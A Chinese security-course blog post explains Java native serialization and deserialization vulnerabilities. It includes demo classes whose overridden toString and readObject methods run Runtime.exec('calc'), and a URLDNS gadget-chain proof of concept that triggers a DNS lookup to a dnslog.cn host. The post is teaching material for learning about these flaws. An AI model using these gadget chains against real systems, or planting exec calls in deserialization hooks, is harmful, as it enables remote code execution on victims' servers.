035-安全开发-JavaEE应用&原生反序列化&重写方法&链条分析&触发类&类加载

最新推荐文章于 2024-05-26 16:42:49 发布

wusuowei2986

最新推荐文章于 2024-05-26 16:42:49 发布

阅读量1.8k

点赞数 46

文章标签：安全 java-ee python

本文链接：https://blog.csdn.net/wushangyu32335/article/details/136047475

版权

035-安全开发-JavaEE应用&原生反序列化&重写方法&链条分析&触发类&类加载

Untitled

#知识点：

1、JavaEE-反序列化-解释&使用&安全
2、JavaEE-安全-利用链&直接重写方法
3、JavaEE-安全-利用链&外部重写方法

演示案例：

➢Java-原生使用-序列化&反序列化
➢Java-安全问题-重写方法&触发方法
➢Java-安全问题-可控其他类重写方法

Untitled

#Java序列化&反序列化-概念

1、序列化与反序列化

序列化：将内存中的对象压缩成字节流
反序列化：将字节流转化成内存中的对象

Java 提供了一种对象序列化的机制。用一个字节序列可以表示一个对象，==该字节序列包含该对象的数据、对象的类型和对象中存储的属性等信息。==字节序列写出到文件之后，相当于文件中持久保存了一个对象的信息。

反之，该字节序列还可以从文件中读取回来，重构对象，对它进行反序列化

。对象的数据，对象的类型，对象中存储的数据等信息，都可以用来在内存中创建对象。看图理解序列化：

2、为什么有序列化技术

序列化与反序列化的设计就是用来传输数据的。
当两个进程进行通信的时候，可以通过序列化反序列化来进行传输。
能够实现数据的持久化，通过序列化可以把数据永久的保存在硬盘上，也可以理解为通过序列化将数据保存在文件中。
应用场景
(1) 想把内存中的对象保存到一个文件中或者是数据库当中。
(2) 用套接字在网络上传输对象。
(3) 通过RMI传输对象的时候。

Untitled

3、几种创建的序列化和反序列化协议

• JAVA内置的writeObject()/readObject()
• JAVA内置的XMLDecoder()/XMLEncoder
• XStream
• SnakeYaml
• FastJson
• Jackson

4、为什么会出现反序列化安全问题

内置原生写法分析
• 重写readObject方法
• 输出调用toString方法

5、反序列化利用链

(1) 入口类的readObject直接调用危险方法
(2) 入口参数中包含可控类，该类有危险方法，readObject时调用
(3) 入口类参数中包含可控类，该类又调用其他有危险方法的类，readObject时调用
(4) 构造函数/静态代码块等类加载时隐式执行

#Java-原生使用-序列化&反序列化

请添加图片描述

[//进行序列化对象并写入文件ser.txt](https://xn--ser-tu9d84i5il4ak2d9y9a9vf0hw87e4j7he7ljvm.txt/)
public static void serializeTest(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.txt"));
oos.writeObject(obj);
}
//读入Filename进行反序列化
public static Object unserializeTest(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(Filename));
Object o = ois.readObject();
return o;
}

1.序列化实现，创建用户类，并实现Serializable接口

import java.io.Serializable;
import java.io.IOException;
import java.io.ObjectInputStream;

**// 用户信息类，实现了 Serializable 接口
public class UserDemo implements Serializable {**

    // 公共成员变量
    public String name = "xiaodi";
    public String gender = "man";
    public Integer age = 30;

    // 构造方法
    public UserDemo(String name, String gender, Integer age) {
        this.name = name;
        this.gender = gender;
        this.age = age;
        System.out.println(name);
        System.out.println(gender);
    }

    // toString 方法，用于打印对象信息
    public String toString() {
        try {
            // 调用 Runtime.getRuntime().exec("calc") 执行系统命令 "calc"，潜在的安全风险
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }

        // 返回对象信息的字符串表示
        return "User{" +
                "name='" + name + '\'' +
                ", gender='" + gender + '\'' +
                ", age=" + age +
                '}';
    }

2.创建对应的序列化类，并创建对应的序列化方法

// 指定包名
package com.example.seriatestdemo;

import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;

// 序列化演示类
public class SerializableDemo {

    public static void main(String[] args) throws IOException {
        // 创建一个用户对象，引用UserDemo
        UserDemo u = new UserDemo("xdsec", "gay1", 30);
        // 调用方法进行序列化
        SerializableTest(u);
        // ser.txt 就是对象u序列化的字节流数据
    }

    // 序列化方法
    public static void SerializableTest(Object obj) throws IOException {
        // 使用 ObjectOutputStream 将对象 obj 序列化后输出到文件 ser.txt
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.txt"));
        oos.writeObject(obj);
        // 关闭流
        oos.close();
    }
}

3.创建对应反序列化类，并创建对应反序列化方法

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.FileInputStream;

// 反序列化演示类
public class UnserializableDemo {

    public static void main(String[] args) throws IOException, ClassNotFoundException {
        // 调用下面的方法，传输 ser.txt，解析还原反序列化
        Object obj = UnserializableTest("ser.txt");

        // 对 obj 对象进行输出，默认调用原始对象的 toString 方法
        System.out.println(obj);
    }

    // 反序列化方法
    public static Object UnserializableTest(String Filename) throws IOException, ClassNotFoundException {
        // 读取 Filename 文件进行反序列化还原
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object o = ois.readObject();
        // 返回反序列化后的对象
        return o;
    }
}

Untitled

#Java-安全问题-重写方法&触发方法

toString //输出调用toString方法
如果在原始对象 的toString方法中夹带外部执行命令，可能在执行反序列化时
触发方式：如果对obj对象进行输出 默认调用原始对象的toString方法而造成执行外部命令

public String toString() {
    try {
        **// 潜在的安全问题：执行外部命令
        Runtime.getRuntime().exec("calc");**
    } catch (IOException e) {
        // 潜在的安全问题：将异常信息抛出，可能泄漏敏感信息
        throw new RuntimeException(e);
    }
    return "User{" +
            "name='" + name + '\'' +
            ", gender='" + gender + '\'' +
            ", age=" + age +
            '}';
}

public static void main(String[] args) throws IOException, ClassNotFoundException {
        //调用下面的方法 传输ser.txt 解析还原反序列化
        Object obj =UnserializableTest("ser.txt");
        **//对obj对象进行输出 默认调用原始对象的toString方法
        System.out.println(obj);**
    }

    public static Object UnserializableTest(String Filename) throws IOException, ClassNotFoundException {
        //读取Filename文件进行反序列化还原
        ObjectInputStream ois= new ObjectInputStream(new FileInputStream(Filename));
        Object o = ois.readObject();
        return o;
    }

Untitled

readObject //序列化后被重写readObject调用
触发方式：在原始对象中重写readObject 方法，在执行反序列化时候，会被默认优先调用

Untitled

// 私有的 readObject 方法，用于在反序列化时执行一些自定义的逻辑
    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        // 指向正确的 readObject
        ois.defaultReadObject();
        // 调用 Runtime.getRuntime().exec("calc") 执行系统命令 "calc"，潜在的安全风险
        Runtime.getRuntime().exec("calc");
    }

Untitled

#Java-安全问题-可控其他类重写方法

参考：https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java

1.利用 `HashMap`存在的反序列化漏洞的`readObject`方法，调用了`HashMap.putVal()` 方法，最终调用了`URL.hashCode()形成`RCE漏洞分析

正常代码中创建对象HashMap
用到原生态readObject方法去反序列化数据
- readObject 在ObjectInputSteam 本来在这里
- HashMap也有readObject方法
反序列化readObject方法调用 HashMap里面的readObject
执行链：
序列化对象hash 来源于自带类HashMap
- Gadget Chain:
  - HashMap.readObject()
  - HashMap.putVal()
  - HashMap.hash()
  - URL.hashCode()
- hashCode 执行结果触发访问DNS请求如果这里是执行命令的话就是RCE漏洞
2.RCE漏洞简介

RCE (Remote Code Execution) 漏洞是一种计算机安全漏洞，它允许攻击者远程执行恶意代码或命令，从而获取对目标系统的控制权。攻击者可以通过利用软件或系统中存在的安全漏洞，将恶意代码注入到目标系统中，然后执行它们。

RCE 漏洞可能会导致严重的安全问题，攻击者可以利用这些漏洞进行各种恶意活动，包括但不限于以下几点：
1. 控制系统：攻击者可以通过远程执行代码来获得对目标系统的完全控制。这使得攻击者可以访问系统上的敏感数据、修改配置、操纵系统行为等。
2. 系统破坏：攻击者可能会利用 RCE 漏洞来破坏系统的正常运行。他们可以执行破坏性的命令，例如删除文件、关闭关键服务或引发系统崩溃。
3. 数据泄露：攻击者可以利用 RCE 漏洞来访问系统上的敏感数据，例如个人身份信息、登录凭据、银行信息等。这些数据可能被窃取、滥用或出售。
```
import [java.io](http://java.io/).*;
import java.net.URL;
import java.util.HashMap;
public class UrLDns implements Serializable {
public static void main(String[] args) throws IOException, ClassNotFoundException {
// 正常代码中创建HashMap对象
HashMap<URL, Integer> hash = new HashMap<>();
URL u = new URL("[http://dmo1e2.dnslog.cn](http://dmo1e2.dnslog.cn/)");
hash.put(u, 1);
// 通过序列化对象hash，触发潜在的反序列化漏洞
SerializableTest(hash);
// 尝试反序列化
UnserializableTest("dns.txt");
}
public static void SerializableTest(Object obj) throws IOException {
// 将对象obj序列化后输出到文件dns.txt
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("dns.txt"));
oos.writeObject(obj);
oos.close(); // 关闭流
}
public static Object UnserializableTest(String Filename) throws IOException, ClassNotFoundException {
// 读取Filename文件进行反序列化还原
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object o = ois.readObject();
ois.close(); // 关闭流
return o;
}
}
```

3.分析总结

潜在的反序列化漏洞： 通过**SerializableTest方法将HashMap**对象序列化并输出到文件 “dns.txt”，然后通过 UnserializableTest 方法尝试反序列化。这里存在潜在的反序列化漏洞，因为如果恶意用户能够控制序列化的输入，可能导致远程命令执行（RCE）漏洞。
Gadget Chain 分析：通过HashMap的readObject方法，调用了HashMap.putVal() 方法，最终调用了URL.hashCode()。如果 hashCode() 方法的实现涉及到远程资源的访问（例如 DNS 查询），那么在反序列化时就可能触发远程请求。
潜在的安全问题： 如果 URL.hashCode() 实现中有不受信任的代码，例如执行系统命令或访问远程资源，那么通过构造特定的 URL 对象，攻击者就能够触发恶意操作。